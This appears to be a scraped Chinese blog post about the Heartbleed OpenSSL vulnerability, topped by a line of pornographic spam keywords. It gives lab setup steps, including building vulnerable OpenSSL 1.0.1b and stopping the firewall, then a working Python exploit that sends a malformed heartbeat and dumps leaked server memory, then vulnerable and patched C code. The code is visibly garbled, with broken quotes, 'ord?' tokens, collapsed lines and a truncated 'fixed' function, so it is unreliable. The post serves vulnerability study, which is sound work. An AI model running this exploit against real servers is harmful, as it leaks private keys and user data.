日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

心脏出血漏洞小学习

發(fā)布時間:2023/12/14 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 心脏出血漏洞小学习 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

淺談心臟出血漏洞

  • 心臟出血漏洞簡述
  • 關(guān)于心臟出血漏洞環(huán)境的搭建
  • 漏洞poc
  • 原有漏洞展示
  • 修復(fù)后代碼
  • 文章引用與特別鳴謝

心臟出血漏洞簡述

引用百度百科的解釋,心臟出血漏洞是一個出現(xiàn)在加密程序庫OpenSSL的安全漏洞,該程序庫廣泛用于實現(xiàn)互聯(lián)網(wǎng)的傳輸層安全(TLS)協(xié)議。它于2012年被引入了軟件中,2014年4月首次向公眾披露。只要使用的是存在缺陷的OpenSSL實例,無論是服務(wù)器還是客戶端,都可能因此而受到攻擊。此問題的原因是在實現(xiàn)TLS的心跳擴(kuò)展時沒有對輸入進(jìn)行適當(dāng)驗證(缺少邊界檢查),因此漏洞的名稱來源于“心跳”(heartbeat)。該程序錯誤屬于緩沖區(qū)過讀,即可以讀取的數(shù)據(jù)比應(yīng)該允許讀取的還多

關(guān)于心臟出血漏洞環(huán)境的搭建

首先說明節(jié)點,第一點推薦在虛擬機(jī)上運行,第二點是下載有漏洞的版本,我們這里選擇openssl-0.1.b,虛擬機(jī)環(huán)境為ubuntu,下載哪個版本按照個人情況選擇。
環(huán)境搭建步驟如下:
#安裝相應(yīng)基礎(chǔ)程序
apt update -y
apt install -y wget gcc make

#安裝apache并解壓
mkdir /home/temp/apache -p
cd /home/temp/apache
wget http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz
tar xzvf httpd-2.2.34.tar.gz

#安裝對應(yīng)的openssl版本
mkdir /home/temp/openssl -p
cd /home/temp/openssl
wget http://www.openssl.org/source/openssl-1.0.1b.tar.gz
tar xzvf openssl-1.0.1b.tar.gz

#刪掉以前的openssl
apt remove -y openssl

#編譯并安裝
mkdir /usr/local/ssl -p
cd openssl-1.0.1b
./config --prefix=/usr/local/ssl shared -fPIC no-gost
rm -f /usr/bin/pod2man
make
make install

#移除舊鏈接并進(jìn)行新鏈接
rm /usr/lib/x86_64-linux-gnu/libssl.so -f
rm /usr/lib/x86_64-linux-gnu/libcrypto.so -f
rm /lib/x86_64-linux-gnu/libssl.so -f
rm /lib/x86_64-linux-gnu/libcrypto.so -f
cp /usr/local/ssl/lib/libssl.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libssl.so /usr/lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /usr/lib/x86_64-linux-gnu/

#手動修改配置文件
mv /usr/bin/ssl /usr/bin/openssl.old
mv /usr/include/ssl /usr/include/openssl.old
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
ln -sf /usr/local/ssl/lib/libcrypto.so.1.0.0 /lib/libcrypto.so.6
echo “/usr/local/ssl/lib” >>/etc/ld.so.conf
ldconfig -v
#安裝apache
mkdir /usr/local/httpd -p
mkdir /usr/local/apr -p
mkdir /usr/local/apr-util -p

cd /home/temp/apache/httpd-2.2.34/srclib/apr
./configure --prefix=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34/srclib/apr-util
./configure --prefix=/usr/local/apr-util/ --with-apr=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34
./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-ssl --with-ssl=/usr/local/ssl --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util
make
make install

安裝完成后,vim /usr/local/httpd/conf/httpd.conf,修改配置文件,把其中的#include conf/extra/httpd-ssl.comf的"#"消掉
vim /usr/local/httpd/conf/extra/httpd-ssl.conf 確保端口是443端口
#生成秘鑰和證書
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt
#關(guān)掉防火墻
systemctl stop firewalld
#啟動服務(wù)
cd /usr/local/httpd/bin
./apachectl start

漏洞poc

直接上代碼

#!/usr/bin/python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=‘Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(’-p’, ‘–port’, type=‘int’, default=443, help=‘TCP port to test (default: 443)’)

def h2bin(x):
return x.replace(’ ‘, ‘’).replace(’\n’, ‘’).decode(‘hex’)

hello = h2bin(’’’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
‘’’)

hb = h2bin(’’’
18 03 02 00 03
01 ff ff
‘’’)

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ’ ‘.join(’%02X’ % ord? for c in lin)
pdat = ‘’.join((c if 32 <= ord? <= 126 else ‘.’ )for c in lin)
print ’ %04x: %-48s %s’ % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ‘’
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print ‘Unexpected EOF receiving record header - server closed connection’
return None, None, None
typ, ver, ln = struct.unpack(’>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload - server closed connection’
return None, None, None
print ’ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False

if typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s)

if name == ‘main’:
main()

原有漏洞展示

#ifndef OPENSSL_NO_HEARTBEATS
int
dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; / Use minimum padding */

/* Read type and payload length first */ hbtype = *p++; /*宏n2s從指針p指向的數(shù)組中取出前兩個字節(jié),并把它們存入變量payload中——這實際上是心跳包載荷的長度域(length)。注意程序并沒有檢查這條SSLv3記錄的實際長度。變量pl則指向由訪問者提供的心跳包數(shù)據(jù)。*/ n2s(p, payload); pl = p;if (s->msg_callback)s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,&s->s3->rrec.data[0], s->s3->rrec.length,s, s->msg_callback_arg);

/接下來,程序?qū)⒎峙湟欢斡稍L問者指定大小的內(nèi)存區(qū)域,這段內(nèi)存區(qū)域最大為 (65535 + 1 + 2 + 16) 個字節(jié)。變量bp是用來訪問這段內(nèi)存區(qū)域的指針。/
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;

/* Allocate memory for the response, size is 1 byte* message type, plus 2 bytes payload length, plus* payload, plus padding*/buffer = OPENSSL_malloc(1 + 2 + payload + padding);bp = buffer;

/宏s2n與宏n2s干的事情正好相反:s2n讀入一個16 bit長的值,然后將它存成雙字節(jié)值,所以s2n會將與請求的心跳包載荷長度相同的長度值存入變量payload。然后程序從pl處開始復(fù)制payload個字節(jié)到新分配的bp數(shù)組中——pl指向了用戶提供的心跳包數(shù)據(jù)。最后,程序?qū)⑺袛?shù)據(jù)發(fā)回給用戶。/
/* Enter response type, length and copy payload */
bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/ Random padding */
RAND_pseudo_bytes(bp, padding);
return 0;
}

修復(fù)后代碼

#ifndef OPENSSL_NO_HEARTBEATS
int dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; / Use minimum padding */

if (s->msg_callback)s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,&s->s3->rrec.data[0], s->s3->rrec.length,s, s->msg_callback_arg);/* Read type and payload length first */ if (1 + 2 + 16 > s->s3->rrec.length)return 0; /* silently discard */ if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)return 0; /* silently discard per RFC 6520 sec. 4 */hbtype = *p++; n2s(p, payload); if (1 + 2 + payload + 16 > s->s3->rrec.length)return 0; /* silently discard per RFC 6520 sec. 4 */ pl = p; return 0;

}

文章引用與特別鳴謝

[1] https://blog.csdn.net/flurry_rain/article/details/82706375
[2] https://blog.huisa.win/2019/03/25/openssl-heartbleed/

總結(jié)

以上是生活随笔為你收集整理的心脏出血漏洞小学习的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。